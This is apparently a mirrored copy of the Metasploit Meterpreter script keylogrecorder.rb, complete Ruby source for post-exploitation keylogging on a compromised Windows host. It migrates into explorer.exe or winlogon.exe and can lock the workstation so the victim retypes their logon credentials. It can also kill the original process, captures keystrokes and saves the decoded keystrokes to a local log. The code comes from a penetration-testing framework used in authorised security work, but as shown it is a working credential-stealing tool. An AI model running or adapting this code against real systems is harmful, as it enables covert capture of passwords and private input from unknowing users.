Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

keylogrecorder.rb 5.4KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  7. # Updates by Shellster
  8. #-------------------------------------------------------------------------------
  9. session = client
  10. # Script Options
  11. @@exec_opts = Rex::Parser::Arguments.new(
  12. "-h" => [ false, "Help menu." ],
  13. "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
  14. "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ],
  15. "-l" => [ false, "Lock screen when capturing Winlogon credentials."],
  16. "-k" => [ false, "Kill old Process"]
  17. )
  18. def usage
  19. print_line("Keylogger Recorder Meterpreter Script")
  20. print_line("This script will start the Meterpreter Keylogger and save all keys")
  21. print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
  22. print_line("Usage:" + @@exec_opts.usage)
  23. raise Rex::Script::Completed
  24. end
  25. #Get Hostname
  26. host,port = session.session_host, session.session_port
  27. # Create Filename info to be appended to downloaded files
  28. filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  29. # Create a directory for the logs
  30. logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder')
  31. # Create the log directory
  32. ::FileUtils.mkdir_p(logs)
  33. #logfile name
  34. logfile = logs + ::File::Separator + host + filenameinfo + ".txt"
  35. #Interval for collecting Keystrokes in seconds
  36. keytime = 30
  37. #Type of capture
  38. captype = 2
  39. # Function for locking the screen -- Thanks for the idea and API call Mubix
  40. def lock_screen
  41. print_status("Locking Screen...")
  42. lock_info = client.railgun.user32.LockWorkStation()
  43. if lock_info["GetLastError"] == 0
  44. print_status("Screen has been locked")
  45. else
  46. print_error("Screen lock Failed")
  47. end
  48. end
  49. #Function to Migrate in to Explorer process to be able to interact with desktop
  50. def explrmigrate(session,captype,lock,kill)
  51. #begin
  52. if captype.to_i == 0
  53. process2mig = "explorer.exe"
  54. elsif captype.to_i == 1
  55. if is_uac_enabled?
  56. print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
  57. raise Rex::Script::Completed
  58. end
  59. process2mig = "winlogon.exe"
  60. if lock
  61. lock_screen
  62. end
  63. else
  64. process2mig = "explorer.exe"
  65. end
  66. # Actual migration
  67. mypid = session.sys.process.getpid
  68. session.sys.process.get_processes().each do |x|
  69. if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
  70. print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
  71. session.core.migrate(x['pid'].to_i)
  72. print_status("Migration Successful!!")
  73. if (kill)
  74. begin
  75. print_status("Killing old process")
  76. client.sys.process.kill(mypid)
  77. print_status("Old process killed.")
  78. rescue
  79. print_status("Failed to kill old process.")
  80. end
  81. end
  82. end
  83. end
  84. return true
  85. # rescue
  86. # print_status("Failed to migrate process!")
  87. # return false
  88. # end
  89. end
  90. #Function for starting the keylogger
  91. def startkeylogger(session)
  92. begin
  93. #print_status("Grabbing Desktop Keyboard Input...")
  94. #session.ui.grab_desktop
  95. print_status("Starting the keystroke sniffer...")
  96. session.ui.keyscan_start
  97. return true
  98. rescue
  99. print_status("Failed to start Keylogging!")
  100. return false
  101. end
  102. end
  103. def write_keylog_data session, logfile
  104. data = session.ui.keyscan_dump
  105. outp = ""
  106. data.unpack("n*").each do |inp|
  107. fl = (inp & 0xff00) >> 8
  108. vk = (inp & 0xff)
  109. kc = VirtualKeyCodes[vk]
  110. f_shift = fl & (1<<1)
  111. f_ctrl = fl & (1<<2)
  112. f_alt = fl & (1<<3)
  113. if(kc)
  114. name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
  115. case name
  116. when /^.$/
  117. outp << name
  118. when /shift|click/i
  119. when 'Space'
  120. outp << " "
  121. else
  122. outp << " <#{name}> "
  123. end
  124. else
  125. outp << " <0x%.2x> " % vk
  126. end
  127. end
  128. sleep(2)
  129. if(outp.length > 0)
  130. file_local_write(logfile,"#{outp}\n")
  131. end
  132. end
  133. # Function for Collecting Capture
  134. def keycap(session, keytime, logfile)
  135. begin
  136. rec = 1
  137. #Creating DB for captured keystrokes
  138. file_local_write(logfile,"")
  139. print_status("Keystrokes being saved in to #{logfile}")
  140. #Inserting keystrokes every number of seconds specified
  141. print_status("Recording ")
  142. while rec == 1
  143. #getting and writing Keystrokes
  144. write_keylog_data session, logfile
  145. sleep(keytime.to_i)
  146. end
  147. rescue::Exception => e
  148. print_status "Saving last few keystrokes"
  149. write_keylog_data session, logfile
  150. print("\n")
  151. print_status("#{e.class} #{e}")
  152. print_status("Stopping keystroke sniffer...")
  153. session.ui.keyscan_stop
  154. end
  155. end
  156. # Parsing of Options
  157. helpcall = 0
  158. lock = false
  159. kill = false
  160. @@exec_opts.parse(args) { |opt, idx, val|
  161. case opt
  162. when "-t"
  163. keytime = val
  164. when "-c"
  165. captype = val
  166. when "-h"
  167. usage
  168. when "-l"
  169. lock = true
  170. when "-k"
  171. kill = true
  172. end
  173. }
  174. if client.platform == 'windows'
  175. if (captype.to_i == 2)
  176. if startkeylogger(session)
  177. keycap(session, keytime, logfile)
  178. end
  179. elsif explrmigrate(session,captype,lock, kill)
  180. if startkeylogger(session)
  181. keycap(session, keytime, logfile)
  182. end
  183. end
  184. else
  185. print_error("This version of Meterpreter is not supported with this Script!")
  186. raise Rex::Script::Completed
  187. end